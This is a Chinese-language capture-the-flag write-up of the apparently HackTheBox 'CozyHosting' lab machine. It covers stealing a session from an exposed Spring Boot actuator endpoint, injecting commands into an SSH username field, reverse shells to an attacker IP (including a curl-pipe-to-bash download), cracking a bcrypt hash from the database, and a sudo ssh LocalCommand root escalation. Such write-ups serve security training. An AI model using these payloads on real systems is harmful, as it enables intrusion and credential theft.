渗透过程
靶机IP:10.129.216.104
信息收集
三板斧:端口扫描、目录扫描、子域名爆破
nmap -Pn -sV -sC -p- 10.129.216.104 --min-rate=5000
└─# nmap -Pn -sC -sV -p- 10.129.216.104 --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 14:15 CST
Nmap scan report for 10.129.216.104
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.62 seconds
开放80端口,浏览器访问,自动跳转到cozyhosting.htb。先将ip与域名添加到 /etc/host
端口扫描完之后目录扫描
dirsearch -u http://cozyhosting.htb/
通过扫描和报错,发现是springboot框架。并且这三个地址是可以访问的。
[15:21:27] 200 - 15B - /actuator/health #端点提供有关应用程序运行状况的health详细信息。
[15:21:27] 200 - 10KB - /actuator/mappings #mappings端点提供有关应用程序请求映射的信息。
[15:21:28] 200 - 48B - /actuator/sessions #sessions端点提供有关由 Spring Session 管理的应用程序 HTTP 会话的信息。
[15:21:28] 200 - 124KB - /actuator/beans #beans端点提供有关应用程序 bean 的信息。
根据springboot信息泄露的漏洞,访问http://cozyhosting.htb/actuator/sessions能获取登录用户的回话session
目录扫描也发现了后台用户的地址
http://cozyhosting.htb/login
F12打开浏览器控制台,找到存储,查看当前回话的session。
将泄露的,已登录用户的session替换到此处,并访问admin,可直接进入后台。
注:登录用户的session在每次访问/actuator/sessions时会刷新。如果没进入后台,刷新后再替换试试。
获取shell
在后台管理处发现两个输入框。使用burp抓包,测试注入。
报错中出现“ssh”,结合请求中的hosr和username参数,猜测此处能执行ssh命令。联想到命令执行靶场中的ping命令,尝试拼接参数。
host=127.0.0.1&username=root;`id`;
可以看到id命令已成功执行。
那么为什么payload是这样呢?
ssh命令使用: ssh username@host
拼接后: ssh root;`id`;@127.0.0.1
id命令被夹在里面执行了。
靶场环境中,不加反引号不会出现命令回显。读者可以自行测试。
既然能执行命令,尝试反弹shell
bash -i >& /dev/tcp/10.10.16.9/7777 0>&1
同时kali本地开启端口监听
nc -lvnp 7777
username 不允许有空格。
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.10.16.9/7777${IFS}0>&1
没有反弹成功。看报错没想明白怎么构建反弹shell的命令。
官方给的wp是使用curl上传反弹shell脚本。
脚本内容如下:
#!/bin/bash
sh -i >& /dev/tcp/10.10.16.9/7777 0>&1
可执行下面的命令直接写入文件
echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.16.9/7777 0>&1' > rev.sh
写入文件后,使用python开启http服务
使用靶机访问
host=127.0.0.1&username=root;`curl${IFS}http://10.10.16.9/rev.sh|bash`;
获取到shell
权限提升
至此为止,未获得一个用户密码。所以不能通过切换用户的方式获得更高级权限。
信息收集发现靶机的一个jar包。开启http服务,访问并下载。
jar包本质也是个压缩文件,可以使用unzip命令解压
解压后,在/BOOT-INF/classes/application.properties文件下发现postgresql数据库的账号密码
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
本来尝试远程连接postgresql数据库的,没成功。只能本地试试。
psql -h 127.0.0.1 -U postgres
\list #查看存在的数据库
\connect cozyhosting #连接cozyhosting数据库
\dt #查看有几个表
select * from users; #查看users表内容
admin的password为
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
使用hashid 判断一下这是什么加密
hashid '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
bcrypt是一种哈希散列,可以使用hashcat爆破,指定模式为 -m 3200
先把哈希值放在文件中,执行命令。
hashcat -m 3200 /root/Desktop/hash /usr/share/wordlists/rockyou.txt --show
admin的密码:manchesterunited
执行ls /home 发现存在名为josh 的用户。尝试用爆破出来的密码撞库。
su josh
得到user flag
root权限
执行
script /dev/null -c bash #美化shell,用来输入密码
sudo -l
发现ssh命令是用root权限执行的。
指定 PermitLocalCommand=yes 选项。此选项用于允许在成功建立 SSH 连接后在客户端计算机上执行本地命令。
LocalCommand=/bin/bash 选项指定 SSH 连接成功后应在计算机上执行的本地命令
sudo /usr/bin/ssh -v -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1
连接到机器后,将打开一个权限为root的bash shell